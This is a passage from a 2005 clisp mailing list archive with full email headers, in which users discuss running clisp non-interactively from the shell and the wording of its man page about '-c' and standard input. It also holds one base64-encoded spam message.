*** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not exist any idea? Thanks in advance! -- Best regards, Juan From pjb@informatimago.com Tue Nov 01 00:40:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWrhO-0006fm-HF for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 00:40:54 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWrhM-0000mA-H1 for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 00:40:54 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6F1C5585D3; Tue, 1 Nov 2005 09:40:40 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CB926585C8; Tue, 1 Nov 2005 09:40:37 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 595588868; Tue, 1 Nov 2005 09:40:37 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17255.10756.953854.749118@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: non-interactive clisp In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PIPE BODY: Text interparsed with | 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 00:41:51 2005 X-Original-Date: Tue, 1 Nov 2005 09:40:36 +0100 Sam Steingold writes: > instead: > > $ echo "(+ 11 99)"|clisp -q -norc > [1]> > 110 But isn't there a simplier way to avoid the prompt? result=$(echo "(+ 11 99)"|clisp -ansi -q -norc|grep -v '\[1\]') echo $result -- "Debugging? Klingons do not debug! Our software does not coddle the weak." From guadarrama@in.tu-clausthal.de Tue Nov 01 06:05:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWwlt-00038T-VF for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:05:53 -0800 Received: from zaphod.in.tu-clausthal.de ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWwlr-0004Ke-Dd for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:05:54 -0800 Received: from [192.168.0.250] (p5486469B.dip.t-dialin.net [84.134.70.155]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id EBE582E8037 for ; Tue, 1 Nov 2005 15:05:46 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 06:07:04 2005 X-Original-Date: Tue, 1 Nov 2005 15:05:32 +0100 Dear All, thank you for your valuable replies, this one is the most appropriate for my proposes. Following some other comments BTW: On 31 Oct 2005, at 20:00, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-10-31 19:19:20 +0100]: >> >> according to the man pages, I may realise it by using switch >> -c. > > where does the man page say that? well, it reads: >>> -c lispfile ... >>> Compiles the specified lispfiles to bytecode (*.fas). >>> The com- >>> piled files can then be loaded instead of the >>> sources to gain >>> efficiency. then, after some other lines it reads: >>> lispfile [argument ...] >>> Loads and executes a lispfile. There will be no >>> read-eval-print >>> loop. Before lispfile is loaded, the variable *args* >>> will be >>> bound to a list of strings, representing the >>> arguments. The >>> first line of lispfile may start with #!, thus >>> permitting clisp >>> to be used as a script interpreter. If lispfile is -, >>> the stan- >>> dard input is used instead of a file. If lispfile is >>> the empty >>> string or -- the rest of the arguments is still >>> available in >>> *args* , for parsing by the init-function of the >>> current image. >>> This option must be the last one. No RC file will be >>> executed. > >> However, I receive the following error when executing a simple >> evaluation: >> >> $ echo "(+ 11 99)"|clisp -q -c - >> STACK depth: 16367 >> >> *** - OPEN: file #P"/Users/juan/Sites/academy/cgi-bin/-.lisp" does not >> exist > > "-c -" tries to compile a file named "-". > > instead: > > $ echo "(+ 11 99)"|clisp -q -norc > [1]> > 110 > > see also http://clisp.cons.org/impnotes/quickstart.html Thanks a lot, fine solution! I'm mounting a web-page with clisp at http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html which should be available in the short term. More ideas are always welcome! Best, Jn > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > Apathy Club meeting this Friday. If you want to come, you're not > invited. > From tafsddf@21cn.com Tue Nov 01 06:11:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWwrE-0003Mc-Vz for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:11:24 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EWwrB-0002FE-2i for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:11:24 -0800 Received: from [61.236.85.131] (helo=tietong-9.vicp.net) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1EWwr5-0003qs-R0 for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:11:19 -0800 Received: from dmpr6 (unknown [102.57.72.235]) by tietong-9.vicp.net (Coremail) with SMTP id 51iic3YGrTBBa4nX.1 for ; Tue, 01 Nov 2005 22:11:10 +0800 (CST) X-Originating-IP: [102.57.72.235] Message-ID: <0012555755$44775835$62343854@dmpr6> From: =?shift-jis?B?bWZvaXNsZnQ1?= To: MIME-Version: 1.0 Content-Type: text/plain; charset="shift-jis" Content-Transfer-Encoding: base64 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1478 X-MimeOLE: Produced By Microsoft MimeOLE 6.00.2800.1478 X-Spam-Score: 2.7 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.1 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook X-Spam-Score: 4.0 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 0.8 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding 3.0 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook Subject: [clisp-list] =?shift-jis?B?lc+NWI6WjYCCqoKgguiC3IK1gr0=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 06:12:35 2005 X-Original-Date: Tue, 01 Nov 2005 22:11:10 +0800 j2+J74KigsyOlo/ugUGR5ZBsgsyOlo/ugUGX9oikls2XbA0KDQqCqJO+gsiDfINDg5ODZ4/ulfGC 4IKgguiC3IK3gUINCoFAgUCBQIFAgUCBQIGrgasNCoFAgUBodHRwOi8vd3d3LmJlYXQtaS5jb20N Cg0Ki8aKRZLKgsyCspdwkkKDVINDg2eCyILniMCQU4LFgreBQg0KDQoyMjoxMToxMA== From sds@gnu.org Tue Nov 01 06:27:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWx6M-0004BR-J3 for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:27:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWx6I-00021P-Sd for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:27:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1EQW2M005247; Tue, 1 Nov 2005 09:26:43 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17255.10756.953854.749118@thalassa.informatimago.com> (Pascal Bourguignon's message of "Tue, 1 Nov 2005 09:40:36 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <17255.10756.953854.749118@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 06:27:48 2005 X-Original-Date: Tue, 01 Nov 2005 09:25:35 -0500 > * Pascal Bourguignon [2005-11-01 09:40:36 +0100]: > > Sam Steingold writes: >> instead: >> >> $ echo "(+ 11 99)"|clisp -q -norc >> [1]> >> 110 > > But isn't there a simplier way to avoid the prompt? > > result=$(echo "(+ 11 99)"|clisp -ansi -q -norc|grep -v '\[1\]') > echo $result echo "(+ 11 99)"|clisp -q -norc - (works only in cvs head - there is a bug in the release) -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is not dead, it just smells funny. From sds@gnu.org Tue Nov 01 06:31:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWxAb-0004Kb-A8 for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:31:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWxAO-00081H-KY for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:31:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1EUngY005404; Tue, 1 Nov 2005 09:30:52 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> (Juan C. Acosta Guadarrama's message of "Tue, 1 Nov 2005 15:05:32 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 06:32:46 2005 X-Original-Date: Tue, 01 Nov 2005 09:29:52 -0500 > * Juan C.Acosta Guadarrama [2005-11-01 15:05:32 +0100]: > > On 31 Oct 2005, at 20:00, Sam Steingold wrote: > >>> * Juan C.Acosta Guadarrama >>> [2005-10-31 19:19:20 +0100]: >>> >>> according to the man pages, I may realise it by using switch >>> -c. >> >> where does the man page say that? > > well, it reads: > >>>> -c lispfile ... >>>> Compiles the specified lispfiles to bytecode (*.fas). >>>> The com- >>>> piled files can then be loaded instead of the >>>> sources to gain >>>> efficiency. yes, so "clisp -c lispfile" will compile the "lispfile". > then, after some other lines it reads: > >>>> lispfile [argument ...] >>>> Loads and executes a lispfile. There will be no >>>> read-eval-print >>>> loop. Before lispfile is loaded, the variable *args* >>>> will be >>>> bound to a list of strings, representing the >>>> arguments. The >>>> first line of lispfile may start with #!, thus >>>> permitting clisp >>>> to be used as a script interpreter. If lispfile is -, >>>> the stan- >>>> dard input is used instead of a file. If lispfile is >>>> the empty >>>> string or -- the rest of the arguments is still >>>> available in >>>> *args* , for parsing by the init-function of the >>>> current image. >>>> This option must be the last one. No RC file will be >>>> executed. yes, "clisp lispfile" will load and execute "lispfile". where does it say that "clisp -c lispfile" will load and execute anything? > http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html please also link to . is just an "invocation manual". -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From guadarrama@in.tu-clausthal.de Tue Nov 01 06:55:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWxXv-0005Vt-FY for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:55:31 -0800 Received: from www.parco.org ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWxXo-0001sN-3f for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 06:55:28 -0800 Received: from [192.168.0.250] (p5486469B.dip.t-dialin.net [84.134.70.155]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id 75B0A2E8036 for ; Tue, 1 Nov 2005 15:55:18 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 06:57:51 2005 X-Original-Date: Tue, 1 Nov 2005 15:55:05 +0100 On 1 Nov 2005, at 15:29, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-01 15:05:32 +0100]: >> >> On 31 Oct 2005, at 20:00, Sam Steingold wrote: >> >>>> * Juan C.Acosta Guadarrama >>>> [2005-10-31 19:19:20 +0100]: >>>> >>>> according to the man pages, I may realise it by using switch >>>> -c. >>> >>> where does the man page say that? >> >> well, it reads: >> >>>>> -c lispfile ... >>>>> Compiles the specified lispfiles to bytecode (*.fas). >>>>> The com- >>>>> piled files can then be loaded instead of the >>>>> sources to gain >>>>> efficiency. > > yes, so "clisp -c lispfile" will compile the "lispfile". > > >> then, after some other lines it reads: >> >>>>> lispfile [argument ...] >>>>> Loads and executes a lispfile. There will be no >>>>> read-eval-print >>>>> loop. Before lispfile is loaded, the variable >>>>> *args* >>>>> will be >>>>> bound to a list of strings, representing the >>>>> arguments. The >>>>> first line of lispfile may start with #!, thus >>>>> permitting clisp >>>>> to be used as a script interpreter. Hi! it reads right here: >>>>> If lispfile is -, >>>>> the stan- >>>>> dard input is used instead of a file. So, -c - means: -c lispfile where lispfile="-" Best, Juan >>>>> If lispfile is >>>>> the empty >>>>> string or -- the rest of the arguments is still >>>>> available in >>>>> *args* , for parsing by the init-function of the >>>>> current image. >>>>> This option must be the last one. No RC file will be >>>>> executed. > > yes, "clisp lispfile" will load and execute "lispfile". > > where does it say that "clisp -c lispfile" will load and execute > anything? > >> http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html > > please also link to . > is just an "invocation manual". > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} > From guadarrama@in.tu-clausthal.de Tue Nov 01 07:33:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWy8w-0007Sq-Ng for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 07:33:46 -0800 Received: from www.parco.org ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWy8r-0003KI-Tt for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 07:33:46 -0800 Received: from [192.168.0.250] (p5486469B.dip.t-dialin.net [84.134.70.155]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id BF8092E8035 for ; Tue, 1 Nov 2005 16:33:29 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama Subject: Re: [clisp-list] Re: non-interactive clisp To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 07:34:46 2005 X-Original-Date: Tue, 1 Nov 2005 16:33:25 +0100 well, perhaps switch -c lispfile ... should be changed to another variable name that is not described some rows bellow. Ie lispfile [argument ..] Moreover, at the very same paragraph it reads that "If lispfile is -" (that's what I call a dash, and in unix it does mean standard input, although some times double dash) ", the standard input is used instead of a file" I hope it helps! Best, Jn On 1 Nov 2005, at 15:29, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-01 15:05:32 +0100]: >> >> On 31 Oct 2005, at 20:00, Sam Steingold wrote: >> >>>> * Juan C.Acosta Guadarrama >>>> [2005-10-31 19:19:20 +0100]: >>>> >>>> according to the man pages, I may realise it by using switch >>>> -c. >>> >>> where does the man page say that? >> >> well, it reads: >> >>>>> -c lispfile ... >>>>> Compiles the specified lispfiles to bytecode (*.fas). >>>>> The com- >>>>> piled files can then be loaded instead of the >>>>> sources to gain >>>>> efficiency. > > yes, so "clisp -c lispfile" will compile the "lispfile". > > >> then, after some other lines it reads: >> >>>>> lispfile [argument ...] >>>>> Loads and executes a lispfile. There will be no >>>>> read-eval-print >>>>> loop. Before lispfile is loaded, the variable >>>>> *args* >>>>> will be >>>>> bound to a list of strings, representing the >>>>> arguments. The >>>>> first line of lispfile may start with #!, thus >>>>> permitting clisp >>>>> to be used as a script interpreter. If lispfile is >>>>> -, >>>>> the stan- >>>>> dard input is used instead of a file. If lispfile is >>>>> the empty >>>>> string or -- the rest of the arguments is still >>>>> available in >>>>> *args* , for parsing by the init-function of the >>>>> current image. >>>>> This option must be the last one. No RC file will be >>>>> executed. > > yes, "clisp lispfile" will load and execute "lispfile". > > where does it say that "clisp -c lispfile" will load and execute > anything? > >> http://www2.in.tu-clausthal.de/~guadarrama/updates/clisp.html > > please also link to . > is just an "invocation manual". > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} > > > ------------------------------------------------------- > This SF.Net email is sponsored by the JBoss Inc. > Get Certified Today * Register for a JBoss Training Course > Free Certification Exam for All Training Attendees Through End of 2005 > Visit http://www.jboss.com/services/certification for more information > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Tue Nov 01 08:38:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EWz9b-0002QS-Hd for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 08:38:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EWz9Y-0006Ph-RZ for clisp-list@lists.sourceforge.net; Tue, 01 Nov 2005 08:38:31 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA1GcDSS010552; Tue, 1 Nov 2005 11:38:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Juan C. Acosta Guadarrama's message of "Tue, 1 Nov 2005 15:55:05 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <684ca2b71365a5f7c66081d42379b216@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 1 08:39:12 2005 X-Original-Date: Tue, 01 Nov 2005 11:37:16 -0500 > * Juan C.Acosta Guadarrama [2005-11-01 15:55:05 +0100]: > > On 1 Nov 2005, at 15:29, Sam Steingold wrote: > >>> * Juan C.Acosta Guadarrama >>> [2005-11-01 15:05:32 +0100]: >>> >>> On 31 Oct 2005, at 20:00, Sam Steingold wrote: >>> >>>>> * Juan C.Acosta Guadarrama >>>>> [2005-10-31 19:19:20 +0100]: >>>>> >>>>> according to the man pages, I may realise it by using switch >>>>> -c. >>>> >>>> where does the man page say that? >>> >>> well, it reads: >>> >>>>>> -c lispfile ... >>>>>> Compiles the specified lispfiles to bytecode (*.fas). >>>>>> The com- >>>>>> piled files can then be loaded instead of the >>>>>> sources to gain >>>>>> efficiency. >> >> yes, so "clisp -c lispfile" will compile the "lispfile". >> >> >>> then, after some other lines it reads: >>> >>>>>> lispfile [argument ...] >>>>>> Loads and executes a lispfile. There will be no >>>>>> read-eval-print >>>>>> loop. Before lispfile is loaded, the variable >>>>>> *args* >>>>>> will be >>>>>> bound to a list of strings, representing the >>>>>> arguments. The >>>>>> first line of lispfile may start with #!, thus >>>>>> permitting clisp >>>>>> to be used as a script interpreter. > > Hi! > > it reads right here: > >>>>>> If lispfile is -, >>>>>> the stan- >>>>>> dard input is used instead of a file. > > So, > > -c - > > means: > > -c lispfile > > where lispfile="-" the above line ("lispfile='-' ==> ...") appears only in the "lispfile" argument section, not "-c" argument section. at any rate, how do you imagine compilation of standard output? where would the compiled forms be written? if you want your forms to 